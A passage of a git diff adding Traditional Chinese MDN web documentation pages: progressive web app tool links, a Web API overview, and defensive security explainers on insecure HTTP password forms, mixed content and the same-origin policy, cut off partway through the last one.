+ <li><a href="/zh-TW/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">構建響應式設計</a>：了解當今 app 佈局的關鍵——響應式設計——的基本。</li>
+ <li><a href="/zh-TW/docs/Web/Apps/Modern/Responsive/Mobile_first">行動優先</a>：建立響應式設計很常見，預設以行動裝置的佈局優先、接著設計更寬廣的佈局，是相當合理的。</li>
+ <li><a href="/zh-TW/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — learn how your apps can take advantage of Add to home screen (A2HS).</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="工具">工具</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a>：讓用戶端儲存變簡單的輕量化 JavaScript 函式庫。預設上使用 IndexedDB，必要時則改用 SQL/Web 儲存。</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — an <em>Express-like</em> microframework for easy Service Worker development.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — a node module to generate service worker code that will precache specific resources.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li>
+ <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — a tiny script that makes sure your site is always there for your users.</li>
+ <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li>
+</ul>
+</div>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Google Developers 的 <a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a></li>
+ <li>Alex Russell 寫的 <a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a></li>
+ <li><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a></li>
+ <li>Google 的 <a href="https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk">The Lighthouse Tool</a></li>
+ <li><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a></li>
+ <li><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a></li>
+ <li><a href="https://www.pokedex.org/">Offline-capable Pokédex web site</a></li>
+ <li class="graf--h3 graf--first">
+  <p><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a></p>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/reference/api/index.html b/files/zh-tw/web/reference/api/index.html
new file mode 100644
index 0000000000..91b88f5643
--- /dev/null
+++ b/files/zh-tw/web/reference/api/index.html
@@ -0,0 +1,59 @@
+---
+title: Web API 參考資料
+slug: Web/Reference/API
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">Web 提供了各種各樣完成不同任務的 API，而這可藉著使用 JavaScript 達成</span>，小到對任何 {{domxref("window")}} 或 {{domxref("element")}} 做細微調整，大到使用像是 <a href="https://developer.mozilla.org/zh-TW/docs/Web/WebGL">WebGL</a> <span style="line-height: 1.5;">和 </span><a href="/docs/Web_Audio_API">Web Audio</a> <span style="line-height: 1.5;">介面製作複雜的圖形和音效。</span></p>
+
+<p>所有的介面都在 <a href="/docs/Web/API">index</a> 頁列出。</p>
+
+<p><a href="/docs/Web/Reference/Events">事件參考</a>列出了所有可用事件的列表。</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt>{{domxref("Document_Object_Model", "文檔物件模型")}}</dt>
+ <dd>DOM允許訪問和修改當前文檔，允許操作文檔 {{domxref("Node")}} 和 {{domxref("Element")}}。HTML 和 SVG 都擴展了各自的 DOM 介面，以操作特定的元素。</dd>
+ <dt>設備 API</dt>
+ <dd>該類 API 允許訪問各種 WEB 頁面或應用可用的硬體特性，如：<a href="/docs/WebAPI/Using_Light_Events">Ambient Light Sensor API</a>、<a href="/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">Battery Status API</a>、<a href="/docs/Using_geolocation" title="Using_geolocation">Geolocation API</a>、<a href="/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a>、<a href="/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a>、<a href="/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a>、<a href="/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a>、<a href="/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">Vibration API</a>。</dd>
+ <dt>通信API</dt>
+ <dd>該API允許頁面和應用與其他頁面或設備之間通信，如：<a href="/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">網路資訊 API</a>、<a href="/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">網頁通知</a>、<a href="/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a>。</dd>
+ <dt id="Data_management_APIs">資料管理API</dt>
+ <dd>該API能夠存儲管理使用者資料，如：<a href="/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">檔案處理 API</a>、<a href="/docs/IndexedDB" title="IndexedDB">IndexedDB</a>。</dd>
+</dl>
+
+<p>除了上述的這些可用於所有網站或應用的 API 外，還有一些功能更強大的 Mozilla API，可用於特權應用和認證應用。</p>
+
+<dl>
+ <dt>特權 API</dt>
+ <dd>特權應用是指安裝的應用程式，並被使用者授予特定許可權。特權 API 包括：<a href="/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP Socket API</a>、<a href="/docs/WebAPI/Contacts" title="WebAPI/Contacts">聯絡人 API</a>、<a href="/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">裝置儲存空間 API</a>、<a href="/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">瀏覽器 API</a>、<a href="https://developer.mozilla.org/en-US/docs/WebAPI/Camera" title="WebAPI/Camera">相機 API</a>。</dd>
+ <dt>認證 API</dt>
+ <dd>認證 API 是指在作業系統上執行關鍵操作的底層應用程式，如 Firefox OS 作業系統。較少的特權應用程式會通過 WEB Activities 與這些應用交互。認證 API 包括：<a href="/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth">藍芽 API</a>、<a href="/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">手持裝置連結 API</a>、<a href="/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">網路狀態 API</a>、<a href="/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telephony</a>、<a href="/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">網路SMS</a>、<a href="/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">WiFi 資訊 API</a>、<a href="/docs/WebAPI/Camera" title="WebAPI/Camera">相機 API</a>、<a href="/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">電源管理 API</a>、<a href="/docs/WebAPI/Settings" title="WebAPI/Settings">設定 API</a>、<a href="/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a>、<a href="/docs/WebAPI/Permissions" title="WebAPI/Permissions">權限 API</a>、<a href="/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">時間/時鐘 API</a>。</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="社群">社群</h2>
+
+<p>加入該社區郵寄清單或是新聞群組：</p>
+
+<ul>
+ <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">郵寄清單</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">新聞群組</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">Google Group</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">訂閱源</a></li>
+</ul>
+
+<p>此外，請務必在 <a class="external" href="https://wiki.mozilla.org/IRC" style="line-height: 1.5;">IRC</a> 上進入 <a href="irc://irc.mozilla.org/webapi" style="line-height: 1.5;">#webapi</a><span style="line-height: 1.5;"> 頻道</span><span style="line-height: 1.5;">上參加線上討論。</span></p>
+
+<h2 class="Related_Topics" id="相關主題">相關主題</h2>
+
+<p>您可能對下面的主題感興趣：</p>
+
+<ul>
+ <li><a href="/API">所有網路 API 的介面</a></li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/reference/index.html b/files/zh-tw/web/reference/index.html
new file mode 100644
index 0000000000..11792ad50f
--- /dev/null
+++ b/files/zh-tw/web/reference/index.html
@@ -0,0 +1,29 @@
+---
+title: 網頁技術參考資料
+slug: Web/Reference
+tags:
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/Reference
+---
+<p>{{draft()}}<br>
+ The open Web is built using a number of technologies that require an adequate knowledge in order to use them. Below you'll find the links to our reference material for each of them.</p>
+
+<h2 class="Documentation" id="Web_technologies">Web technologies</h2>
+
+<p>It is recommended that you already <a href="https://developer.mozilla.org/zh-TW/docs/Learn/Getting_started_with_the_web">got started with the web</a>, however it isn't absolutely necessary.</p>
+
+<dl>
+ <dt><strong><a href="/zh-TW/docs/Glossary/HTML">HTML</a></strong> — structuring the Web</dt>
+ <dd>The <strong>HyperText Markup Language</strong> is used to define and describe semantically the content (<a href="/zh-TW/docs/Glossary/markup">markup</a>) of a Web page in a well-structured format.<br>
+ HTML provides a means to create structured documents, made up of blocks called <a href="/zh-TW/docs/Web/HTML/Element">HTML elements</a> that are delineated by <em><a href="/zh-TW/docs/Glossary/Tag">tags</a></em>, written using angle brackets: some introduce content into the page directly, others provide information about document text and may include other tags as sub-elements. Obviously, browsers do not display them, since they are used to interpret the content of the page.<br>
+ <br>
+ <a href="/zh-TW/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a> | <a href="/zh-TW/Learn/HTML">Learn HTML</a> | <a href="/zh-TW/docs/Web/Guide/HTML/HTML5">HTML5</a> | <a href="/zh-TW/docs/Web/Guide/HTML">Developer guide</a> | <a href="/zh-TW/docs/Web/HTML/Element">Element reference</a> | <strong><a href="/zh-TW/docs/Web/HTML/Reference">reference</a></strong></dd>
+ <dt><strong><a href="/zh-TW/docs/Glossary/CSS">CSS</a></strong> — styling the Web</dt>
+ <dd>The <strong>Cascading Style Sheets</strong> are used to describe the appearance of Web content.<br>
+ <br>
+ <a href="/zh-TW/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>  | <a href="/zh-TW/docs/Web/Guide/CSS/Getting_started">Getting started with CSS</a> | <a href="/zh-TW/Learn/CSS">Learn CSS</a> | <a href="/zh-TW/docs/Web/CSS/CSS3">CSS3 </a>| <a href="/zh-TW/docs/Web/Guide/CSS">Developer guide</a> | <a href="/zh-TW/docs/Web/CSS/Common_CSS_Questions">Common CSS questions</a> | <strong><a href="/zh-TW/docs/Web/CSS/Reference">reference</a></strong></dd>
+</dl>
diff --git a/files/zh-tw/web/security/index.html b/files/zh-tw/web/security/index.html
new file mode 100644
index 0000000000..1a916b268b
--- /dev/null
+++ b/files/zh-tw/web/security/index.html
@@ -0,0 +1,16 @@
+---
+title: Web 安全
+slug: Web/Security
+tags:
+  - Landing
+  - Security
+  - Web
+translation_of: Web/Security
+---
+<div class="summary">
+<p>確保您的網站或開放式 Web 應用程式的安全相當重要。即使是程式中的小臭蟲也可能導致私敏資訊洩露，而有心人士無時無刻都在嘗試竊取資料。<span class="seoSummary">這裡所列出的網路安全方面的文章提供了相關資訊，協助您保護您的網站以及程式防範網路攻擊和資料竊取。</span></p>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/zh-tw/web/security/insecure_passwords/index.html b/files/zh-tw/web/security/insecure_passwords/index.html
new file mode 100644
index 0000000000..d9c6a42d52
--- /dev/null
+++ b/files/zh-tw/web/security/insecure_passwords/index.html
@@ -0,0 +1,76 @@
+---
+title: 不安全的密碼
+slug: Web/Security/Insecure_passwords
+tags:
+  - 安全性
+  - 密碼
+  - 網頁
+  - 風險
+translation_of: Web/Security/Insecure_passwords
+---
+<p class="summary">提供 HTTP 的登入表單非常危險，因為目前有很多已知的用戶密碼擷取手法。竊聽者可以透過側錄該網路或修改傳輸頁面進行大量的惡意攻擊，並直接竊取用戶憑證或密碼。<span class="seoSummary">本頁將詳細說明 Firefox 用以警示用戶與開發者有關不安全的密碼及密碼竊取風險的安全機制。</span></p>
+
+<p><a href="https://mdn.mozillademos.org/files/5951/insecure_page2_with_arrows_cropped.jpeg" title="https://en.wikipedia.org/wiki/HTTP_Secure">HTTPS</a> 通訊協定，旨在保護用戶的資料於傳輸時不會遭到竊聽與竄改，並保護其機密性與原始完整性。負責處理用戶資料的網站應使用 HTTPS 保護其用戶不受惡意駭客攻擊。如果沒有使用 HTTPS，竊取諸如登入憑證之類的用戶資訊是小事一樁。著名的 <a href="https://codebutler.github.io/firesheep/" title="http://codebutler.com/firesheep/">Firesheep</a> 附加套件曾示範過此種攻擊方式。</p>
+
+<p>要處理這個問題，請安裝並設定網站伺服器的 SSL/TLS 憑證。目前有許多免費與付費的憑證供應商。如果是使用雲端，雲端服務商可能提供了啟動 HTTPS 的方法。</p>
+
+<h2 id="Firefox_密碼安全性指標">Firefox 密碼安全性指標</h2>
+
+<p>為提醒上述風險，Firefox 實做了許多警告機制：</p>
+
+<ol>
+ <li>
+  <p>Firefox 51 以後會在網址列的左方顯示一個紅色劃叉的鎖頭警告標示，如下圖所示。</p>
+
+  <p style="text-align: center;"><img alt="鎖頭標示" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png" style="height: 25px; width: 25px;"></p>
+ </li>
+ <li>
+  <p>Firefox 52 以後會在任何不安全表單的 URL 欄位與密碼區域清楚呈現警告：</p>
+
+  <p style="text-align: center;"><img alt="警告" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png" style="height: 133px; width: 328px;"></p>
+ </li>
+ <li>
+  <p>Firefox 52 以後還會禁止在不安全表單自動填入密碼。用戶依舊可以藉由下拉列表，填入已存登錄的資訊。</p>
+ </li>
+ <li>
+  <p>不安全表單的警告，也能從所有 Firefox 發行的開發者主控台之安全窗格找到。詳請參見下節敘述。</p>
+ </li>
+</ol>
+
+<h2 id="網頁主控台訊息"><strong>網頁主控台訊息</strong></h2>
+
+<p>本區塊敘述為了應對不安全的密碼，於 Firefox 開發者工具中顯示在網頁主控台的安全性訊息。</p>
+
+<h3 id="透過_HTTP_提供登入表單">透過 HTTP 提供登入表單</h3>
+
+<p>即使表單是傳送到 HTTPS 網址，用戶的登入表單仍未受保護，因為攻擊者可以修改用戶接收到的頁面。例如，攻擊者可插入鍵盤側錄腳本，導致用戶輸入的資料外洩，或變更表單目的地為攻擊者控制的伺服器。網路主控台的安全面板會警告開發者及用戶，並標示這項安全性問題。</p>
+
+<p style="text-align: center;"><img alt="不安全的登入欄位，會顯示於網頁主控台及密碼欄位中的對應警告。" src="https://mdn.mozillademos.org/files/14783/Insecure_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<div class="note">
+<p><strong>備註</strong>：在 HTTP 文件中嵌入 HTTPS 登入頁面也不安全 — 攻擊者可以變更頁框超連結以指向惡意網站。</p>
+</div>
+
+<h3 id="在表單行為中使用_HTTP_網址"><strong>在表單行為中使用 HTTP 網址</strong></h3>
+
+<p>在這種情況下，任何用戶輸入的資料都以明文傳送。對於任何側錄該網路的人，從資料送出到抵達網頁伺服器，用戶密碼都清楚可見。</p>
+
+<p style="text-align: center;"><img alt="不安全的登入表單行為，會顯示於網頁主控台及密碼欄位中的對應警告。" src="https://mdn.mozillademos.org/files/14785/Insecure_Action_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
+
+<h2 id="重複使用相同密碼">重複使用相同密碼</h2>
+
+<p>網站有時會需要用戶名稱與密碼，但並不實際儲存敏感資料。例如，新聞網站可能會儲存用戶想要再次閱覽的文章，但不會儲存其它用戶資料。上述範例的網頁開發者可能較無動機保護他們的網站與用戶憑證。</p>
+
+<p>不幸的是，<a href="https://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/">重複使用相同密碼是非常危險的</a>。用戶在多個網站皆使用相同密碼(如新聞網站、社群網站、電子信箱等)。因此，即使非法存取貴網站的用戶名稱與密碼並不對您構成嚴重問題，對於在不同網站(如網路銀行)使用相同名稱與密碼的用戶而言，卻會造成嚴重威脅。攻擊者愈來愈聰明，他們會從一個網站竊取用戶名稱與密碼的配對，並在更有利可圖的網站上重複嘗試。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li class="entry-title"><a href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">No More Passwords over HTTP, Please!</a> — detailed blog post with more information, and FAQ.</li>
+</ul>
+
+<ul>
+ <li class="entry-title"><a class="external" href="https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/">No More Passwords over HTTP, Please!</a> — 提供詳細資訊和常見問題的部落格文章</li>
+</ul>
+
+<p class="entry-title">{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/zh-tw/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html b/files/zh-tw/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html
new file mode 100644
index 0000000000..5bf19f8c7d
--- /dev/null
+++ b/files/zh-tw/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html
@@ -0,0 +1,29 @@
+---
+title: 如何修正含有混合內容的網站
+slug: Web/Security/Mixed_content/How_to_fix_website_with_mixed_content
+tags:
+  - 混和的主動內容
+  - 混和的被動內容
+translation_of: Web/Security/Mixed_content/How_to_fix_website_with_mixed_content
+---
+<p>自 <a href="/zh-TW/docs/Mozilla/Firefox/Releases/23" title="/zh-TW/docs/Mozilla/Firefox/Releases/23">Firefox 23</a> 起，Firefox 會預設阻擋<a href="/zh-TW/docs/Security/MixedContent#Mixed_active_content" title="/zh-TW/docs/Security/MixedContent#Mixed_active_content">主動型混合內容</a>。這項動作是跟在 <a href="http://blogs.msdn.com/b/ie/archive/2011/06/23/internet-explorer-9-security-part-4-protecting-consumers-from-malicious-mixed-content.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/06/23/internet-explorer-9-security-part-4-protecting-consumers-from-malicious-mixed-content.aspx">IE 9</a> 和 <a href="http://googleonlinesecurity.blogspot.com/2011/06/trying-to-end-mixed-scripting.html" title="http://googleonlinesecurity.blogspot.com/2011/06/trying-to-end-mixed-scripting.html">Chrome</a> 後實行的。</p>
+
+<p>本頁面會告訴你，身為一個網頁開發者需要知道甚麼。</p>
+
+<h2 id="你的網站可能出問題了">你的網站可能出問題了</h2>
+
+<p>如果你的網站由 HTTPS 傳輸，那麼本頁所有由 HTTP 接收的<a href="/zh-TW/docs/Security/MixedContent#Mixed_active_content" title="/zh-TW/docs/Security/MixedContent#Mixed_active_content">主動型混合內容</a>就會被封鎖。你的網站可能就會讓使用者遇到一些問題（像是 iframes 或擴充套件無法載入…之類的）。至於 <a href="/zh-TW/docs/Security/MixedContent#Mixed_passivedisplay_content" title="/zh-TW/docs/Security/MixedContent#Mixed_passive.2Fdisplay_content">被動型混合內容</a> 預設是會顯示出來的，可是使用者也可以設定將這類內容擋下來。</p>
+
+<p>值得注意的是，由於阻擋混合內容已經在 Chrome 和 Internet Explorer 中實行了，所以如果你的網站已經在這些瀏覽器中出問題，那麼在 Firefox 也很有可能會發生相同情況。</p>
+
+<p>在任何情況下，要知道網站是否出問題的最好方法，就是下載 <a href="https://www.mozilla.org/zh-TW/firefox/developer/" title="https://www.mozilla.org/zh-TW/firefox/developer/">最新的 Firefox Developer Edition</a>，然後到網站中的不同頁面打開<a href="/zh-TW/docs/Tools/Web_Console" title="/zh-TW/docs/Tools/Web_Console">網頁主控台</a>（要啟用「安全」訊息）、並檢查是否有任何混合內容的回報。也可以用 <a href="http://www.jitbit.com/sslcheck/">SSL-check</a> or <a href="https://www.missingpadlock.com">Missing Padlock</a> 這網路爬蟲、或是桌面桌面， <a href="https://httpschecker.net/how-it-works">HTTPSChecker</a> 來檢查並抓出不安全的內容、另外還有文字介面的工具 <a href="https://github.com/agis/mcdetect">mcdetect</a>。如果檢查不到任何有關於混和式內容的東西，就代表你的網站狀態良好：繼續建置你出色的網站吧！</p>
+
+<h2 id="如何修復你的網站">如何修復你的網站</h2>
+
+<p>避免混合內容阻塞最好的方法，就是使用 HTTPS 而不是 HTTP 來傳輸所有的內容。</p>
+
+<p><strong>對於你自己的域名，</strong>使用 HTTPS 來傳輸所有內容並修正你的連結。一般而言 HTTPS 版本的內容都已經存在了，只需要在連結後面加上「s」：就是將 http:// 改成 https:// 。</p><p></p>
+
+<p>但有時候，媒體的路徑可能不正確。按照作業系統的不同，你可以使用線上或離線的工具如 <a href="https://wummel.github.io/linkchecker/">linkchecker</a> 來解決問題。</p>
+
+<p><strong>對於其他域名，</strong>盡可能使用該網站的 HTTPS 版本。如果 HTTPS 不能用，試著跟域名擁有者聯絡並詢問他們是否可以使用 HTTPS 傳輸內容。</p>
diff --git a/files/zh-tw/web/security/mixed_content/index.html b/files/zh-tw/web/security/mixed_content/index.html
new file mode 100644
index 0000000000..537dc13f45
--- /dev/null
+++ b/files/zh-tw/web/security/mixed_content/index.html
@@ -0,0 +1,80 @@
+---
+title: 混合內容
+slug: Web/Security/Mixed_content
+tags:
+  - HTTP
+  - HTTPS
+  - NeedsTranslation
+  - Security
+  - TopicStub
+translation_of: Web/Security/Mixed_content
+---
+<p>當使用者以 {{Glossary("HTTPS")}} 瀏覽網站時，他們與伺服器之間的連線就會以 {{Glossary("TLS")}} 加密，以防受到竊聽或中間人攻擊。<span class="seoSummary">一個含有 HTTP 明文內容的 HTTPS 頁面稱為<strong>混合內容（mixed content）</strong>。這種頁面只有部份加密，沒有加密的內容，易於遭到竊聽和中間人攻擊。</span>這會令網頁不安全。</p>
+
+<h2 id="混合內容的類型">混合內容的類型</h2>
+
+<p>混合內容的類型有兩種：<strong>被動/顯示型混合內容（mixed passive/display content）</strong>與<strong>主動型混合內容（mixed active content）</strong>。兩者不同處在於內容遭中間人攻擊竄改後，其最壞情況下的威脅程度。如果是被動型混合內容，威脅程度較低（可能有錯誤內容、或者用戶的 cookie 遭到竊取）。如果是主動型混合內容，威脅就可能會變成網絡釣魚、敏感資料洩露、被重定向到惡意網站……等等。</p>
+
+<h3 id="被動顯示型混合內容">被動/顯示型混合內容</h3>
+
+<p>被動/顯示型混合內容內容是指包在 HTTPS 頁面，但無法改變其他部分的 HTTP 內容。例如，攻擊者能把放在 HTTP 的圖像，換成對用戶而言不適當的圖片或訊息。攻擊者也能監看圖片提供給哪些用戶，來推斷用戶活動的相關資訊：圖片通常只能在網站內的特定頁面提供。如果攻擊者觀察了某些圖片的 HTTP 請求，他們還能確認用戶在訪問哪個網頁。</p>
+
+<h4 id="被動型混合內容清單">被動型混合內容清單</h4>
+
+<p>以下列出會被視為被動型混合內容的 HTTP 請求：</p>
+
+<ul>
+ <li>{{HTMLElement("img")}}（<code>src</code> 屬性）</li>
+ <li>{{HTMLElement("audio")}}（<code>src</code> 屬性）</li>
+ <li>{{HTMLElement("video")}}（<code>src</code> 屬性）</li>
+ <li>{{HTMLElement("object")}} subresource（如果 <code>&lt;object&gt;</code> 發起 HTTP 請求）</li>
+</ul>
+
+<h3 id="主動型混合內容">主動型混合內容</h3>
+
+<p><strong>主動型混合內容</strong>是指有權訪問文件 HTTPS 頁面、物件模型的內容。這種混合內容可以改變 HTTPS 頁面行為、並暗自竊取用戶的敏感資訊。因此，主動型混合內容除了內容除了上文所述的風險外，還容易受到其他攻擊媒介的威脅。</p>
+
+<p>針對主動型混合內容，中間人攻擊者可以攔截 HTTP 內容的請求、並竄改回應以植入惡意 JavaScript 程式碼。惡意的主動型混合內容能竊取用戶的憑證、用戶的敏感資料、甚至透過如瀏覽器或套件的漏洞，嘗試安裝惡意軟體。</p>
+
+<p>混合內容涉及的風險，取決於用戶訪問的網站類型、還有該網站資訊的敏感程度。網頁可能有公諸於世的公開資料、也可能有僅限授權者閱覽的私人資料。即使網頁是公開的，也沒有用戶的敏感資料，混合內容依舊給攻擊者把用戶重定向到其他 HTTP 頁面、並從這些網站竊取 HTTP cookie 的機會。</p>
+
+<h4 id="主動型混合內容示例">主動型混合內容示例</h4>
+
+<p>以下列出會被視為主動型混合內容的 HTTP 請求：</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}（<code>src</code> 屬性）</li>
+ <li>{{HTMLElement("link")}}（<code>href</code> 屬性）（包含 CSS 樣式表）</li>
+ <li>{{HTMLElement("iframe")}}（<code>src</code> 屬性）</li>
+ <li>{{domxref("XMLHttpRequest")}} 請求</li>
+ <li>{{domxref("GlobalFetch.fetch","fetch()")}} 請求</li>
+ <li>所有用到 {{cssxref("url")}} 的 CSS 值（{{cssxref("@font-face")}}、{{cssxref("cursor")}}、{{cssxref("background-image")}}……等等）。</li>
+ <li>{{HTMLElement("object")}}（<code>data</code> 屬性）</li>
+</ul>
+
+<p>其他資源如 web fonts 與 workers 也可能被認定為主動型混合內容，<a href="https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/core/loader/MixedContentChecker.cpp&amp;q=MixedContentChecker::contextTypeFromContext%20f:cpp&amp;sq=package:chromium&amp;type=cs">因為在 Chromium 就是這樣</a>。</p>
+
+<h2 id="網頁主控台的警告">網頁主控台的警告</h2>
+
+<p>Firefox 網頁主控台會在網站含有混合內容時，於「網路」標籤顯示警告。以 HTTP 傳輸的混合內容資源會被標為紅色，後面會附上導往這一頁的「混合內容」標註。</p>
+
+<p><a class="internal" href="/files/12545/Mixed_content_-_Net_pane.png"><img alt="Screen shot of the web console displaying a mixed content warning." src="https://mdn.mozillademos.org/files/12545/Mixed_content_-_Net_pane.png" style="border-style: solid; border-width: 1px; height: 286px; width: 720px;"></a></p>
+
+<p>找到網頁主控台的警告後，可以在你的網站使用 <a href="/zh-TW/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a> 或網站爬蟲找到問題，，例如 <a href="https://httpschecker.net/guides/https-checker">HTTPS Checker</a> 或是 <a href="https://github.com/bramus/mixed-content-scan">Mixed Content Scan</a>。</p>
+
+<p>從 Firefox 23 以後，預設會封鎖混合內容（要封鎖混合的顯示內容也可以設定）。為了令 web 開發者便於尋找混合內容的錯誤，所有遭到封鎖的混合內容會被紀錄到網頁主控台的安全標籤，如下所示：</p>
+
+<p><a href="/files/5261/blocked-mixed-content-errors.png"><img alt="A screenshot of blocked mixed content errors in the Security Pane of the Web Console" src="https://mdn.mozillademos.org/files/12543/mixed_content_webconsole.png" style="border-style: solid; border-width: 1px; height: 285px; width: 720px;"></a></p>
+
+<p>要修正這個錯誤，就要移除所有的 HTTP 請求、並以 HTTPS 取代之。部份例子包含 JavaScript 檔案、CSS 樣式表、影像檔、影片檔或是其他多媒體文件。</p>
+
+<div class="note">
+<p><strong>注</strong>：Firefox 55 以後，在本機端會允許混合內容的載入（請參見 {{bug(903966)}}）。</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://w3c.github.io/webappsec/specs/mixedcontent/" title="https://w3c.github.io/webappsec/specs/mixedcontent/">Mixed Content - W3C Editor's Draft</a></li>
+ <li><a href="/zh-TW/docs/Security/MixedContent/How_to_fix_website_with_mixed_content">如何修正含有混和內容的網站</a></li>
+</ul>
diff --git a/files/zh-tw/web/security/same-origin_policy/index.html b/files/zh-tw/web/security/same-origin_policy/index.html
new file mode 100644
index 0000000000..9c80f3e435
--- /dev/null
+++ b/files/zh-tw/web/security/same-origin_policy/index.html
@@ -0,0 +1,117 @@
+---
+title: 同源政策 (Same-origin policy)
+slug: Web/Security/Same-origin_policy
+translation_of: Web/Security/Same-origin_policy
+---
+<p>同源政策限制了程式碼和不同網域資源間的互動。</p>
+
+<h2 id="同源定義">同源定義</h2>
+
+<p>所謂同源是指兩份網頁具備相同協定、埠號 (如果有指定) 以及主機位置，下表提供了一些例子展示那些來源和http://store.company.com/dir/page.html屬於同源:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>URL</th>
+   <th>Outcome</th>
+   <th>Reason</th>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir2/other.html</code></td>
+   <td>同源</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir/inner/another.html</code></td>
+   <td>同源</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>https://store.company.com/secure.html</code></td>
+   <td>不同源</td>
+   <td>協定不同</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com:81/dir/etc.html</code></td>
+   <td>不同源</td>
+   <td>埠號不同</td>
+  </tr>
+  <tr>
+   <td><code>http://news.company.com/dir/other.html</code></td>
+   <td>不同源</td>
+   <td>主機位置不同</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>另外請參考 <a href="/en-US/docs/Same-origin_policy_for_file:_URIs">file來源定義: URL</a>。</p>
+
+<p>Cookie 的來源定義和上述不一樣。</p>
+
+<h2 id="變更來源">變更來源</h2>
+
